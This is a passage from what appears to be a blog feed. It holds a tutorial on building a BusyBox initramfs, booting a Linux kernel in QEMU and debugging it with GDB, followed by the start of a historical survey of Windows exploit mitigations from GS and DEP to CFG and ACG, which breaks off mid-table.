&lt;/span&gt;&lt;span&gt;/dev/pts&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;echo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/sbin/mdev&lt;/span&gt;&lt;span&gt; &amp;gt; &lt;/span&gt;&lt;span&gt;/proc/sys/kernel/hotplug&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mdev&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-s&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;rootfs/etc/fstab&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;rootfs/etc/fstab&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;proc  /proc  proc   defaults  0 0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;tmpfs /tmp   tmpfs  defaults  0 0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sysfs /sys   sysfs  defaults  0 0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;rootfs/etc/inittab&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;rootfs/etc/inittab&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;::sysinit:/etc/init.d/rcS&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;::respawn:-/bin/sh&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;::askfirst:-/bin/sh&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;::ctrlaltdel:/bin/umount -a -r&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;These files had two typos back then, both fixed now. &lt;code&gt;moutn&lt;/code&gt; is now &lt;code&gt;mount&lt;/code&gt;, and &lt;code&gt;cttlaltdel&lt;/code&gt; is now &lt;code&gt;ctrlaltdel&lt;/code&gt; (a misspelled inittab entry doesn’t do anything, but it doesn’t complain either, so Ctrl+Alt+Del just quietly does nothing).&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;If the device nodes aren’t in the archive, &lt;code&gt;mdev -s&lt;/code&gt; creates them after boot. To be safe, make two up front:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mknod&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;rootfs/dev/console&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;c&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mknod&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;rootfs/dev/null&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;c&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;chmod&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;+x&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;rootfs/etc/init.d/rcS&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;rootfs/etc/inittab&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Pack it:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;rootfs&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;find&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-print0&lt;/span&gt;&lt;span&gt; | &lt;/span&gt;&lt;span&gt;cpio&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--null&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-ov&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--format=newc&lt;/span&gt;&lt;span&gt; | &lt;/span&gt;&lt;span&gt;gzip&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-9&lt;/span&gt;&lt;span&gt; &amp;gt; &lt;/span&gt;&lt;span&gt;../initramfs.cpio.gz&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Booting it in QEMU&lt;a href=&quot;#booting-it-in-qemu&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;qemu-system-x86_64&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-kernel&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;linux-6.6/arch/x86/boot/bzImage&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-initrd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;initramfs.cpio.gz&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-append&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;console=ttyS0 rdinit=/sbin/init&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-nographic&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;When the kernel prints its boot log and you end up at a &lt;code&gt;/bin/sh&lt;/code&gt; prompt, you’re done.&lt;/p&gt;&lt;p&gt;A couple of options are worth remembering. &lt;code&gt;console=ttyS0&lt;/code&gt; points the console at the serial port, so with &lt;code&gt;-nographic&lt;/code&gt; you can work right in your terminal without opening a graphical window. &lt;code&gt;rdinit=&lt;/code&gt; names the first program in the initramfs, which becomes PID 1.&lt;/p&gt;&lt;p&gt;I hit a trap here while redoing this. At first I pointed &lt;code&gt;rdinit&lt;/code&gt; straight at &lt;code&gt;/etc/init.d/rcS&lt;/code&gt;. The kernel did run the script and print the welcome message, and then it panicked with &lt;code&gt;Attempted to kill init! exitcode=0x00000000&lt;/code&gt;. The script is PID 1, and when it finishes it exits, and once PID 1 exits the kernel has nothing left to run, so it can only crash. That’s why &lt;code&gt;rdinit&lt;/code&gt; should be &lt;code&gt;/sbin/init&lt;/code&gt; (BusyBox’s init). It reads &lt;code&gt;/etc/inittab&lt;/code&gt;, runs &lt;code&gt;rcS&lt;/code&gt; from the &lt;code&gt;::sysinit:&lt;/code&gt; line, then starts a shell from the &lt;code&gt;::askfirst:&lt;/code&gt; line, so PID 1 stays around. For the same reason, renaming the script to &lt;code&gt;/init&lt;/code&gt; doesn’t help either, unless the script ends with &lt;code&gt;exec /bin/sh&lt;/code&gt; to turn itself into a process that sticks around.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Attaching GDB to the kernel&lt;a href=&quot;#attaching-gdb-to-the-kernel&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;This is the step I didn’t write back then, and it’s actually the most useful thing about this setup. Add two options to QEMU:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;qemu-system-x86_64&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-kernel&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;linux-6.6/arch/x86/boot/bzImage&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-initrd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;initramfs.cpio.gz&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-append&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;console=ttyS0 rdinit=/sbin/init nokaslr&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;-nographic&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-s&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-S&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-s&lt;/code&gt; is short for &lt;code&gt;-gdb tcp::1234&lt;/code&gt;, which opens a gdbstub on port 1234&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-S&lt;/code&gt; pauses the CPU right at startup and waits for the debugger to send &lt;code&gt;continue&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nokaslr&lt;/code&gt; matters a lot. With KASLR on, the kernel’s addresses change on every boot, and none of the breakpoint addresses you set in GDB will line up. Turn randomization off while you’re studying the kernel&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;In another terminal:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;gdb&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;linux-6.6/vmlinux&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;gdb&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;target&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;remote&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;:1234&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;gdb&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;hbreak&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;start_kernel&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;gdb&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;continue&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;gdb&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;list&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;gdb&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;bt&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;vmlinux&lt;/code&gt; is the kernel image with symbols that the build produces (in the source root), not &lt;code&gt;bzImage&lt;/code&gt;. &lt;code&gt;hbreak&lt;/code&gt; sets a hardware breakpoint. Early in boot, before the kernel has set up its page tables, software breakpoints aren’t reliable, so a hardware breakpoint is the safer first stop. Once you’re in, plain &lt;code&gt;b&lt;/code&gt; works fine.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Looking at it again today&lt;a href=&quot;#looking-at-it-again-today&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;This setup has barely changed in twenty years, because it’s just what kernel developers do every day: build, start QEMU, attach GDB. What changed is the details. The root filesystem went from an ext3 image to cpio (which saves you the whole root and loop mount dance), debugging went from a serial port to a gdbstub, the kernel went from 4.9 to 6.x, and the option names in &lt;code&gt;menuconfig&lt;/code&gt; have been renamed a few times.&lt;/p&gt;&lt;p&gt;If you want to &lt;strong&gt;read&lt;/strong&gt; the kernel, this setup is honestly great value. Being able to set breakpoints, look at the stack and step through the scheduler or a filesystem makes things click much faster than just chewing through source. If you want to &lt;strong&gt;reproduce kernel bugs&lt;/strong&gt; (the CVE kind), this is pretty much the standard starting point. Find an affected version, build it the same way, add qemu + gdb and a bit of KASAN, and you can see the crash clearly on your own machine. That’s also why this post was worth keeping from 2021 until today.&lt;/p&gt;&lt;/section&gt;</content:encoded></item><item><title>A Short History of Windows Exploit Mitigations (2000–2026)</title><link>https://blog.lumysia.net/posts/windows-mitigation-history-2000-2026/</link><guid isPermaLink="true">https://blog.lumysia.net/posts/windows-mitigation-history-2000-2026/</guid><description>Taking that old XP→Win7 table of GS, DEP, ASLR, SafeSEH and SEHOP all the way to Win11, adding CFG, XFG, the CET shadow stack, ACG, CIG, VBS/HVCI and KDP. Every generation of defense answers the attacks of the one before.</description><pubDate>Sat, 28 Nov 2020 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;&lt;p&gt;This is the last post in my “Rereading 0day Security” series, and it also works best as an index for the whole thing. The first four posts went through how the attacks worked, one trick at a time. This one turns it around and lines the defenses up in a row. The table and the first half come from my 2020 notes on &lt;em&gt;0day Security: Software Vulnerability Analysis Techniques, 2nd edition&lt;/em&gt; (by failwest and others). Everything after Win8 I added while tidying up in 2026, carrying it all the way to today’s Windows 11.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;After the first four posts, one thing feels very clear to me. Every generation of defense is an answer to the attacks of the generation before. You could jump anywhere on the stack, so GS came along. SEH could be overwritten, so SafeSEH and SEHOP came along. Data pages could execute, so DEP came along. Addresses were fixed, so ASLR came along. And every time a new defense went up, attackers found the crack in it. ret2libc got around DEP, partial overwrites and heap spraying got around ASLR… The tug of war never stopped. The battlefield just moved from “overwrite the return address” to “overwrite a function pointer”, and then to “leak an address first”.&lt;/p&gt;
&lt;section&gt;&lt;h2&gt;XP to Win7, the first generation&lt;a href=&quot;#xp-to-win7-the-first-generation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;This is how things looked when &lt;em&gt;0day Security&lt;/em&gt; was written, and it covers the mechanisms from the labs in the earlier posts.&lt;/p&gt;

&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;Windows XP&lt;/th&gt;&lt;th&gt;Windows 2003&lt;/th&gt;&lt;th&gt;Windows Vista&lt;/th&gt;&lt;th&gt;Windows 2008&lt;/th&gt;&lt;th&gt;Windows 7&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;GS&lt;/strong&gt; stack cookie&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Security cookie&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Variable reordering&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;SafeSEH&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;SEH handler validation&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Heap protection&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;safe unlink&lt;/td&gt;&lt;td&gt;√(SP2)&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Safe lookaside lists&lt;/td&gt;&lt;td&gt;×&lt;/td&gt;&lt;td&gt;×&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;heap cookie&lt;/td&gt;&lt;td&gt;√(SP2)&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Metadata encoding&lt;/td&gt;&lt;td&gt;×&lt;/td&gt;&lt;td&gt;×&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;DEP&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;NX support&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Permanent DEP&lt;/td&gt;&lt;td&gt;×&lt;/td&gt;&lt;td&gt;×&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;ASLR&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;PEB/TEB&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Heap&lt;/td&gt;&lt;td&gt;×&lt;/td&gt;&lt;td&gt;×&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Stack&lt;/td&gt;&lt;td&gt;×&lt;/td&gt;&lt;td&gt;×&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Image&lt;/td&gt;&lt;td&gt;×&lt;/td&gt;&lt;td&gt;×&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;SEHOP&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;SEH chain validation&lt;/td&gt;&lt;td&gt;×&lt;/td&gt;&lt;td&gt;×&lt;/td&gt;&lt;td&gt;√(SP1)&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;td&gt;√&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;A few dates worth remembering. GS has been on by default since Visual Studio 2002/2003. DEP and the heap protections came in with XP SP2 (2004). ASLR that actually helps, for images, heap and stack, only arrived with Vista (2007). SEHOP was added in Vista SP1 / Server 2008 (2008). By Win7, this generation of defenses had more or less settled.&lt;/p&gt;&lt;p&gt;What this generation has in common is that most of it lives &lt;strong&gt;in software and in the compiler&lt;/strong&gt;. It relies on the compiler inserting code (the GS cookie), on PE header flags (SafeSEH, /NXCOMPAT, /dynamicbase), and on the system loader playing along. So the bypasses in the first four posts were all, at heart, about finding cracks at the software level: a module without SafeSEH, a module at a fixed address, ret2libc so you never touch a data page, partial overwrites and heap spraying so you never need a full address.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Win8 to Win11, the second generation&lt;a href=&quot;#win8-to-win11-the-second-generation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;After Win7, attackers shifted their focus to “overwrite a function pointer or vtable” and “indirect calls”. Defenders upgraded too, and more and more they &lt;strong&gt;lean on hardware and virtualization&lt;/strong&gt; instead of the compiler alone.&lt;/p&gt;

&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Mechanism&lt;/th&gt;&lt;th&gt;Since&lt;/th&gt;&lt;th&gt;What it covers&lt;/th&gt;&lt;th&gt;Which earlier attacks it answers&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Forced ASLR / high-entropy ASLR&lt;/td&gt;&lt;td&gt;Windows 8 (2012)&lt;/td&gt;&lt;td&gt;Randomizes even modules built without /dynamicbase; high entropy on 64-bit&lt;/td&gt;&lt;td&gt;Borrowing modules without ASLR, heap sprays claiming fixed addresses&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CFG (Control Flow Guard)&lt;/td&gt;&lt;td&gt;Win8.1 Update 3 (2014), on by default in Win10&lt;/td&gt;&lt;td&gt;Before an indirect call, checks that the target is a valid function entry&lt;/td&gt;&lt;td&gt;Vtable hijacking, overwriting function pointers&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;ACG (Arbitrary Code Guard)&lt;/td&gt;&lt;td&gt;Windows 10 (2017, RS3)&lt;/td&gt;&lt;td&gt;Once a code page is executable it can’t be changed, and no new executable pages can be 